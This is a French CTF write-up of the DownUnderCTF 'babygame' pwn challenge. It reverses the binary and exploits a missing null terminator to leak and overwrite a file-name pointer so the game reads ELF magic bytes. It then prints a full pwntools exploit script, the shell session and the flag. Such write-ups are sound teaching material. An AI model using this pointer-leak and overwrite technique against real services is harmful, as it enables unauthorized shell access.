Aujourd’hui nous allons faire le write-up d’un challenge de pwn plutôt sympathique que j’ai pu résoudre pendant le DUCTF (DownUnderCTF). Le challenge est globalement simple mais il y avait quelques tricks intéressants. Bonne lecture !
Binaire du challenge
Énoncé du challenge
Not your typical shell game…
Admin note: the server runs in a restricted environment where some of your favourite files might not exist. If you need a file for your exploit, use a file you know definitely exists (the binary tells you of at least one!)
Author: grub
nc pwn-2021.duc.tf 31907
Première approche
On peut commencer par lancer le service en ligne pour voir à quel type de challenge on a à faire ici. On nous demande notre nom puis on a un menu avec 2 options : modifier notre nom et l’afficher. Les premiers tests ne sont pas très concluants…
$ nc pwn-2021.duc.tf 31907
Welcome, what is your name?
AAAAAA
1. Set Username
2. Print Username
> 2
AAAAAA
1. Set Username
2. Print Username
> 1
What would you like to change your username to?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
1. Set Username
2. Print Username
> Invalid choice.
1. Set Username
2. Print Username
> Invalid choice.
1. Set Username
2. Print Username
> Invalid choice.
1. Set Username
2. Print Username
> Invalid choice.
1. Set Username
2. Print Username
> 2
AAAAAAA
On pense alors à essayer une format string (on sait jamais) …
$ nc pwn-2021.duc.tf 31907
Welcome, what is your name?
%x.%x.%x.%x.%x
1. Set Username
2. Print Username
> 2
%x.%x.%x.%x.%x
Toujours rien… On va passer à l’analyse du binaire.
Reverse engineering
On ouvre alors le binaire dans notre désassembleur favori et on regarde la fonction main.
On voit dans ce début de fonction main le message nous incitant à entrer notre nom suivi d’un appel à la fonction read pour récupérer 0x20 caractères qui seront placés dans le buffer NAME. On peut alors aller vérifier la taille de celui-ci pour voir si cet input ne permettrait pas un buffer overflow !
On voit alors que le buffer NAME est de taille 0x20 ce qui ne permet pas de faire un buffer overflow. Par contre, on peut remarquer qu‘il est possible de remplir le buffer sans mettre de nullbyte à la fin (\x00 indiquant la fin d’une chaine de caractères).
On remarque également la présence d’un pointeur appelé RANDBUF. Si on regarde à nouveau le début de la fonction main on remarque que RANDBUF va être initialisé avec un pointer vers la chaine de caractères “/dev/urandom”. Ensuite le menu va être affiché et notre input récupéré grâce à la fonction “get_num” puis placé dans [rbp+var_4]. On peut regarder la fonction “get_num” pour voir si une faille ne se cache pas là.
Rien d’alarmant ici, un input est récupéré sur 11 char dans un buffer de 12 char puit converti en entier avec la fonction atoi. On continue alors l’inspection du main et on s’aperçoit que le numéro saisi par l’utilisateur est d’abord comparé avec 1337 puis avec 1 et 2 !
En effet dans l’ordre, les tests donnent le résultat suivant :
– Si le choix est 1337 : appel de la fonction “game”
– Si le choix est > 1337 : affichage d’un choix invalide
– Si le choix est 1 : appel de la fonction “set_username”
– Si le choix est 2 : appel de la fonction “print_username”
– Sinon : affichage d’un choix invalide
La fonction “print_username” ne faisant qu’un puts(NAME), on peut alors s’intéresser aux fonctions “game” et “set_username”. On commence par la fonction game.
Encore une fois il n’y a pas de faille dans cette fonction, mais voici son fonctionnement : le programme va lire 4 octets sur le fichier donc le nom est pointé par RANDBUF (donc “/dev/urandom” comme on l’a vu plus tôt). Ensuite, un nombre sera demandé à l’utilisateur et si ce nombre correspond aux quatre octets lus au début du fichier ouvert alors on récupère un shell avec l’exécution de system(“/bin/sh”) ! Problème : il ne va pas être facile pour nous de deviner les 4 octets lus sur /dev/urandom car comme son nom l’indique ce sera une valeur aléatoire (ou pseudo-aléatoire pour les plus sceptiques).
Regardons maintenant la fonction “set_username”.
Comme je l’ai mis en commentaire on peut résumer cette fonction à l’affichage d’un message suivi d’un fread(NAME, 1, strlen(NAME), stdin). Le fait qu’il y ait strlen(NAME) comme taille d’input est très intéressant quand on se souvient que l’on peut remplir le buffer NAME de manière à ce qu’il n’y ait pas de nullbyte à la fin du buffer !
Idée de l’exploitation
Avec le premier input nous avons vu que nous pouvons remplir le buffer NAME sans null byte à la fin : ceci à pour effet de faire passer le buffer RANDBUF comme la continuité de la chaine de caractères NAME !
Cette opération va ainsi permettre deux choses :
1) On va pouvoir leak le buffer RANDBUF via le choix 2 du menu car la fonction print_username va afficher le buffer NAME jusqu’au premier nullbyte qu’elle trouvera (qui sera donc normalement après le buffer RANDBUF)
2) On va pouvoir réécrire le buffer RANDBUF via le choix 1 du menu car strlen(NAME) sera en fait égal à strlen(NAME) + 8 (taille du RANDBUF)
Ainsi si on arrive à réécrire RANDBUF pour en faire un pointeur vers un nouveau fichier que l’on connait (et qui ne changera pas à chaque exécution contrairement à /dev/urandom), on pourra prédire les 4 bytes lus par la fonction “game”, gagner et avoir un shell !
il va donc falloir trouver quelle adresse mettre dans RANDBUF pour qu’il pointe vers une chaine de caractères désignant un fichier dont nous pourrons prédire les 4 premiers octets. A ce moment, j’ai pensé à deux solutions :
– Mettre un nom de fichier dans le buffer NAME puis pointer vers celui ci (comme /etc/passwd ou /bin/ls par exemple)
– Trouver une chaine de caractères intéressante dans le programme : la chaine “/bin/sh” apparait dans le binaire car elle est utilisée par system() dans la fonction game !
On va donc chercher à quel offset se trouve la chaine “/bin/sh” dans la mémoire lors de l’exécution par rapport à la chaine initialement pointée par RANDBUF : “/dev/urandom”. Pour cela j’utilise gdb avec l’extension GEF.
Je relève ici l’adresse de “/dev/urandom” qui est stockée dans rax : 0x55d881201024. Je vais ensuite afficher les 15 chaines de caractères présentes avant et après cette adresse pour essayer de trouver “/bin/sh” dans la mémoire.
Et on trouve alors “/bin/sh” un peu plus loins dans la mémoire, à l’adresse 0x55d8812010a3. Il faut ensuite calculer l’offset les séparant :
$ python3 -q
>>> hex(0x55d8812010a3 - 0x55d881201024)
'0x7f'
On a notre offset : il faudra ajouter 0x7f à l’adresse leakée de RANDBUF pour pointer vers “/bin/sh” ! Parfait 😇
Exploitation et flag
Maintenant qu’on a toutes les cartes en main c’est l’heure de scripter ! Je vais pour ça utiliser Python3 et la librairie pwntools.
On effectue alors les différentes étapes auxquelles nous avons pensé précédemment. Une des difficultés ici est de récupérer le leak du buffer RANDBUF et de l’interpréter correctement. Pour ceci j’ai utilisé la fonction make_unpacker() de pwntools qui m’a permit de directement convertir ma chaine de caractères en little endian en une adresse valide.
Pour gagner le jeu il me faut enfin deviner quels sont les 4 octets lus au début du fichier “/bin/sh”… Facile ! Ce sont les magic bytes du header ELF que l’on peut retrouver via xxd sur un binaire par exemple.
Les magic bytes sont donc 0x7f, 0x45, 0x4c et 0x46. Sans oublier le little endian, la valeur à deviner sera donc 0x464c457f ! On peut alors terminer notre script et flag 😁.
from pwn import *
#context.log_level = "DEBUG"
#r = remote("pwn-2021.duc.tf", 31907)
r = process("./babygame")
# Step 1 - Filling NAME buffer to the maximum (32)
log.success("Filling NAME buffer")
r.recvuntil(b"what is your name?\n")
r.sendline(b"A" * 0x20)
# Step 2 - Leaking the RANDBUF address
r.recvuntil(b"> ")
r.sendline(b"2") # print_username()
log.success("Leaking the RANDBUF address")
r.recvuntil(b"> ")
r.sendline(b"1") # set_username()
leak = r.recv().split(b"\n")[0]
log.success(f"Leak : {leak}")
leak = leak[-6::]
leak += b"\x00\x00"
# Unpacking the leaked address --> from string to int
u = make_unpacker(64, endianness='little')
unpacked = u(leak)
log.success(f"Unpacked leak : {hex(unpacked)}")
# Step 3 - Overwriting RANDBUF pointer")
buf = b"A" * 0x20
bin_sh_addr = unpacked + 0x7f
log.success(f"Calculated pointer to '/bin/sh' : {hex(bin_sh_addr)}")
buf += p64(bin_sh_addr) # ptr to "/bin/sh" (ELF magic bytes never change !)
r.sendline(buf)
# Step 4 - Starting the guessing game
log.success("Launching the guessing game (1337)")
r.recvuntil(b"> ")
r.sendline(b"1337") # game()
log.success("Winning the guessing game (0x464c457f)")
elf_header = str(0x464c457f).encode()
r.recvuntil(b"guess: ")
r.sendline(elf_header)
# Step 5 - Enjoy your shell !
log.success("Enjoy your shell :D")
r.interactive()
L’exécution du script nous donne ceci (il peut être nécessaire de le lancer en mode debug en remote, ne me demandez pas pourquoi, le service était un peu capricieux 🙃) :
$ python3 solve.py
[+] Starting local process './babygame': pid 13908
[+] Filling NAME buffer
[+] Leaking the RANDBUF address
[+] Leak : b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$\xc0\x03\x8f\xfcU'
[+] Unpacked leak : 0x55fc8f03c024
[+] Calculated pointer to '/bin/sh' : 0x55fc8f03c0a3
[+] Launching the guessing game (1337)
[+] Winning the guessing game (0x464c457f)
[+] Enjoy your shell :D
[*] Switching to interactive mode
$ id
uid=1000 gid=1000 groups=1000
$ ls -al
total 28
drwxr-xr-x 1 65534 65534 4096 Sep 24 10:01 .
drwxrwxrwt 8 1000 1000 160 Sep 30 13:08 ..
-rw-r--r-- 1 65534 65534 33 Sep 22 09:51 flag.txt
-rwxr-xr-x 1 65534 65534 16872 Sep 22 09:51 pwn
$ cat flag.txt
DUCTF{whats_in_a_name?_5aacfc58}